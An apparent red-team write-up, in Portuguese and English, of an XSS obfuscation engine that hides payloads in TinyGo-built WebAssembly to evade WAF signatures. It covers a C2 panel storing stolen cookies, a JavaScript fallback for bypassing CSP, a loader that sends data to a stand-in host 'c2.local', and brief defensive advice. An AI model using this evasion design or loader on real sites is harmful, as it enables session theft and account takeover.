Red Team 2026-02-06 @reeshasx

REESXSS_V1: O MOTOR DE OFUSCAÇÃO BINÁRIA (WASM + TINYGO)

[ 0x00 ] A EVOLUÇÃO DAS ASSINATURAS DE FILTRO (WAF)

O modelo tradicional de detecção de Cross-Site Scripting (XSS) em Firewalls de Aplicação Web (WAF) baseia-se na análise estática de strings. Filtros inspecionam o corpo das requisições procurando por tags HTML conhecidas e palavras-chave específicas da linguagem JavaScript, tais como eval, document.cookie, fetch ou XMLHttpRequest.

Bypasses tradicionais tentam ofuscar o código utilizando codificações em Base64 ou manipulação de strings na camada de aplicação. Contudo, esses payloads em texto simples são facilmente analisados por heurísticas e decodificadores estáticos. Este artigo descreve o desenvolvimento de um motor de ofuscação polimórfico utilizando WebAssembly (WASM) e TinyGo para empacotar lógica ofensiva em um formato binário de difícil inspeção estática.

[ 0x01 ] POR QUE WEBASSEMBLY? (A CAIXA PRETA BINÁRIA)

WebAssembly é um formato de instrução binária projetado como um alvo de compilação portátil para linguagens de alto nível (como C/C++, Rust, Go). Ao migrar a lógica de decodificação e montagem do payload XSS de uma string JavaScript convencional para um bytecode binário compitado (WASM), removemos a visibilidade estática do código-fonte:

Evasão Estática: Um analista de segurança ou filtro de WAF inspecionando a requisição verá apenas um blob de bytes não legíveis e chamadas para funções de inicialização do WASM. A lógica interna do script está embutida nas instruções estruturadas do arquivo binário.
Limitação Crítica de DOM Access: É essencial observar que o WebAssembly opera dentro de uma sandbox estrita e não possui acesso nativo ao DOM ou a APIs de rede globais do navegador (como window.fetch). Para ler cookies ou efetuar exfiltrações, o módulo WASM deve chamar funções JavaScript importadas passadas durante o WebAssembly.instantiate. Portanto, a atividade maliciosa ainda pode ser detectada dinamicamente monitorando a fronteira de chamadas (bindings) entre o JavaScript e o módulo WASM.

[ 0x02 ] DESIGN DO MOTOR COM TINYGO

A compilação utilizando o compilador Go padrão gera binários WebAssembly volumosos (frequentemente maiores que 2 MB), contendo o runtime completo da linguagem e rotinas de garbage collection. Para payloads XSS, esse tamanho é proibitivo.

Utilizando o TinyGo, o binário final é reduzido para poucos kilobytes devido à otimização agressiva de eliminação de código morto (dead code elimination) e um runtime de garbage collection minimalista.

A lógica de criptografia embutida no binário utiliza rotação de bits, operações XOR dinâmicas com base no índice dos bytes e um sal criptográfico estático (0x1337).

Polimorfismo: Cada payload gerado pelo motor apresenta assinatura física distinta. Caracteres idênticos no código-fonte original correspondem a valores numéricos distintos na representação binária cifrada, inviabilizando análises baseadas em assinaturas estáticas ou análise de entropia de strings simples.

[ 0x03 ] ARQUITETURA DO SISTEMA DE CONTROLE

O ecossistema reesXSS é estruturado em componentes distintos para gerenciar e monitorar as interações:

Gerador de Payload: Compila dinamicamente a lógica ofensiva e cifra os bytes finais.
Painel Administrativo (Backend Flask): Interface de Command and Control (C2) para monitorar sessões capturadas em tempo real.
Banco de Dados Relacional (PostgreSQL): Gerenciamento persistente de sessões e cookies exfiltrados para suportar múltiplos alvos em concorrência.

[ 0x04 ] CSP E O FALLBACK "THE VOID"

Políticas de Segurança de Conteúdo (CSP) restritivas bloqueiam a execução de WebAssembly se a diretiva script-src não contiver as palavras-chave 'unsafe-eval' (CSP nível 2) ou 'wasm-unsafe-eval' (introduzida no CSP nível 3). Sob tais restrições, o navegador impedirá a compilação do binário WASM na origem.

Para contornar este cenário de bloqueio completo, o motor implementa o fallback The Void. Este modo desvia da estratégia binária, utilizando a injeção de Predicados Opacos e Junk Code diretamente em código JavaScript clássico para confundir parsers estáticos de segurança.

Predicado Opaco: Condições lógicas cujo resultado é conhecido e invariável em tempo de compilação, mas difícil de ser determinado por análises estáticas (ex: invariants matemáticos como (n * (n + 1)) % 2 == 0, válidos para qualquer inteiro n). O código malicioso é envolto em condicionais que dependem desses predicados para execução, simulando estruturas de controle complexas de sistemas legítimos.

[ 0x05 ] CASO DE ESTUDO: BYPASS EM FILTROS DE CARACTERES

Durante testes sob ambientes com limites restritos de comprimento de string de entrada (como o laboratório PHP vulnerável testphp.vulnweb.com), o tamanho do loader WASM embutido em Base64 excedia o buffer máximo de entrada permitido.

A solução adotada foi o modo WASM Ghost (External). O payload injetado consiste em um script loader de 150 caracteres que realiza um fetch assíncrono para obter o binário compilado /engine.wasm hospedado em servidor C2 sob controle do operador.

fetch('/engine.wasm')
  .then(r => r.arrayBuffer())
  .then(b => WebAssembly.instantiate(b, {env: {exfil: c => new Image().src='http://c2.local/log?d='+c}}));

Após o download, os bytes são compilados dinamicamente no navegador do alvo, executando a lógica de roubo de sessão sem estourar o limite de tamanho. Cabe ressaltar que para o carregamento de binários TinyGo/Go convencionais na sandbox, o ecossistema exige que a runtime JS do Go (wasm_exec.js) esteja presente para injetar o go.importObject (bindings do sistema). Em cenários de restrição estrita, o binário deve ser compilado como uma biblioteca WASM autônoma (WASI) expondo exportações isoladas sem depender do loop de inicialização principal do Go.

[ 0x06 ] CONSIDERAÇÕES DE DEFESA (BLUE TEAM)

Para mitigar ameaças baseadas em ofuscação binária no navegador: 1. CSP Rígida: Não inclua 'unsafe-eval' ou 'wasm-unsafe-eval' na diretiva script-src se o uso de WebAssembly não for estritamente obrigatório. 2. Monitoramento Dinâmico: Implemente auditorias de execução de JavaScript monitorando hooks globais e a inicialização de instâncias WebAssembly.instantiateStreaming.

[ 0x00 ] THE EVOLUTION OF FIREWALL (WAF) SIGNATURES

Traditional Cross-Site Scripting (XSS) detection in Web Application Firewalls (WAFs) relies on static string analysis. Filters scan request bodies looking for known HTML tags and JavaScript keywords, such as eval, document.cookie, fetch, or XMLHttpRequest.

Standard bypass attempts try to obfuscate code using Base64 encoding or string manipulation in the application layer. However, these plain-text payloads are easily evaluated by heuristics and static decoders. This article describes the development of a polymorphic obfuscation engine using WebAssembly (WASM) and TinyGo to package offensive logic into a binary format that evades static inspection.

[ 0x01 ] WHY WEBASSEMBLY? (THE BINARY BLACK BOX)

WebAssembly is a binary instruction format designed as a portable compilation target for high-level languages (like C/C++, Rust, Go). By migrating the decoding and assembly logic of the XSS payload from a standard JavaScript string to a compiled binary bytecode (WASM), we remove static visibility of the source code:

Static Evasion: A security analyst or WAF filter inspecting the request will only see an unreadable byte blob and calls to WASM initialization functions. The script's internal logic is embedded within the structured instructions of the binary file.
Critical DOM Access Limitation: It is essential to note that WebAssembly operates within a strict sandbox and lacks native access to the DOM or global browser network APIs (like window.fetch). To read cookies or exfiltrate data, the WASM module must call imported JavaScript functions passed during WebAssembly.instantiate. Therefore, malicious activity can still be detected dynamically by monitoring the bindings between JavaScript and the WASM module.

[ 0x02 ] ENGINE DESIGN WITH TINYGO

Compiling with the standard Go compiler generates large WebAssembly binaries (often exceeding 2 MB), as they include the language's full runtime and garbage collection routines. For XSS payloads, this size is prohibitive.

Using TinyGo, the final binary is reduced to a few kilobytes due to aggressive dead-code elimination and a minimalist garbage collection runtime.

The encryption logic embedded in the binary utilizes bitwise rotation, dynamic XOR operations based on byte indices, and a static cryptographic salt (0x1337).

Polymorphism: Every payload generated by the engine has a distinct physical signature. Identical characters in the original source code correspond to different numeric values in the encrypted binary representation, preventing signature-based or simple entropy analysis.

[ 0x03 ] CONTROL SYSTEM ARCHITECTURE

The reesXSS ecosystem is structured into distinct components to manage and monitor interactions:

Payload Generator: Dynamically compiles offensive logic and encrypts the final bytes.
Administrative Panel (Flask Backend): Command and Control (C2) interface to monitor captured sessions in real-time.
Relational Database (PostgreSQL): Persistent management of sessions and exfiltrated cookies to support concurrent targets.

[ 0x04 ] CSP AND "THE VOID" FALLBACK

Restrictive Content Security Policies (CSPs) block the execution of WebAssembly if the script-src directive does not explicitly contain the 'unsafe-eval' (CSP level 2) or 'wasm-unsafe-eval' (introduced in CSP level 3) keywords. Under these restrictions, the browser will prevent binary compilation.

To bypass this complete block scenario, the engine implements the The Void fallback. This mode bypasses the binary strategy, utilizing Opaque Predicates and Junk Code injection directly into classic JavaScript code to confuse static security parsers.

Opaque Predicate: Logical conditions whose outcome is known and invariant at compile time, but difficult to determine via static analysis (e.g., mathematical invariants like (n * (n + 1)) % 2 == 0, valid for any integer n). The malicious code is wrapped in conditionals that depend on these predicates to execute, simulating complex control structures of legitimate systems.

[ 0x05 ] CASE STUDY: BYPASSING INPUT SIZE LIMITATIONS

During tests in environments with strict input string length limits (such as the vulnerable PHP laboratory testphp.vulnweb.com), the size of the embedded Base64 WASM loader exceeded the maximum allowed input buffer.

The solution was the WASM Ghost (External) mode. The injected payload consists of a 150-character script loader that asynchronously fetches the compiled /engine.wasm binary hosted on the operator's C2 server.

fetch('/engine.wasm')
  .then(r => r.arrayBuffer())
  .then(b => WebAssembly.instantiate(b, {env: {exfil: c => new Image().src='http://c2.local/log?d='+c}}));

Upon download, the bytes are compiled dynamically in the target's browser, executing the session theft logic without exceeding the input length limit of the primary injection vector.

[ 0x06 ] DEFENSE CONSIDERATIONS (BLUE TEAM)

To mitigate binary obfuscation threats in the browser: 1. Rigorous CSP: Do not include 'unsafe-eval' or 'wasm-unsafe-eval' in the script-src directive unless WebAssembly usage is strictly required. 2. Dynamic Monitoring: Implement audits of JavaScript execution by monitoring global hooks and the initialization of WebAssembly.instantiateStreaming instances.